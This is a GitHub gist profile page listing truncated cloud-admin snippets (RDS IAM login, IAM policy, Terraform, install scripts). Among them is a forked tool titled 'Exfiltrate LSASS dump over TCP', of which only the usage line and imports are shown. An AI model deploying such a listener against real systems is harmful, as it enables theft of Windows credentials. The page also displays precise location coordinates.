Skip to content

Instantly share code, notes, and snippets.

View takenoko-str's full-sized avatar
🎯
Focusing

takenoko-str takenoko-str

🎯
Focusing
  • 35.07103745548258, 135.29974566562086
View GitHub Profile

RDS Authentication via IAM User/Role

  1. Enable IAM Authentication in existing RDS using the link here: Enabling and Disabling IAM Database Authentication

  2. Login to RDS with master username password.

    mysql -h <RDS_ENDPOINT> --user <MASTER_USERNAME> --password
@takenoko-str
takenoko-str / GetZip.py
Created October 3, 2021 07:34 — forked from snovvcrash/GetZip.py
Exfiltrate LSASS dump over TCP
#!/usr/bin/env python3
# Usage: GetZip.py 0.0.0.0 1337 [--xor 255] --md5 --parse
# Requirements: pip3 install tqdm pypykatz
import os
import socket
import zipfile
import hashlib
from argparse import ArgumentParser
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Deny",
"Action": "elasticloadbalancing:*",
"Resource": "*",
"Condition": {
"StringEquals": {
#!/bin/bash
t() {
#DATETIME_FORMAT=$(date --iso-8601="minutes")
DATETIME_FORMAT=$(date +%T)
echo -n "$DATETIME_FORMAT [info]:"
"$@"
return $?
}
t echo "A"
t echo "A"
fun fizzBuzz(i: Int): String {
return when {
(i % 5 == 0 && i % 3 == 0) -> "FizzBuzz"
(i % 3 == 0) -> "Fizz"
(i % 5 == 0) -> "Buzz"
else -> i.toString()
}
}
fun main() {
@takenoko-str
takenoko-str / pritnul_install.sh
Last active November 15, 2019 09:58
for redhat amazon linux
#!/bin/bash
cd /tmp
curl https://s3.amazonaws.com/ec2-downloads-windows/SSMAgent/latest/linux_amd64/amazon-ssm-agent.rpm -o amazon-ssm-agent.rpm
yum install -y amazon-ssm-agent.rpm
tee -a /etc/yum.repos.d/mongodb-org-3.2.repo << EOF
[mongodb-org-3.2]
name=MongoDB Repository
baseurl=https://repo.mongodb.org/yum/amazon/2013.03/mongodb-org/3.2/x86_64/
gpgcheck=1
enabled=1
@takenoko-str
takenoko-str / gist:08c93ae9376ad5b7da60839924baacef
Created September 25, 2019 10:27 — forked from cablespaghetti/gist:54de0ae93449e4698f0206a0e85514be
Example terraform for ASG with spot instances
#
# Configuration for Autoscaling group.
#
resource "aws_launch_template" "eks-cluster-worker-nodes" {
iam_instance_profile = { name = "${aws_iam_instance_profile.eks-cluster-worker-nodes.name}" }
image_id = "${data.aws_ami.eks-worker.id}"
name = "${var.cluster-name}-eks-cluster-worker-nodes"
vpc_security_group_ids = ["${aws_security_group.eks-cluster-worker-nodes.id}"]
key_name = "${var.ssh-key-name}"
instance_type = "${local.host-types[0]}"
#!/bin/bash
prev_p=\"\$\{
aftr_p=\}\"
sed s/$prev_p//g $1 | sed s/aftr_p//g
#!/bin/bash
# install
sudo apt install -y awscli
sudo apt install -y jq
# setup
cat << EOF > ~/.aws/config
[default]
region = ap-northeast-1

CodeDeploy Agent

/var/log/aws/codedeploy-agent/codedeploy-agent.log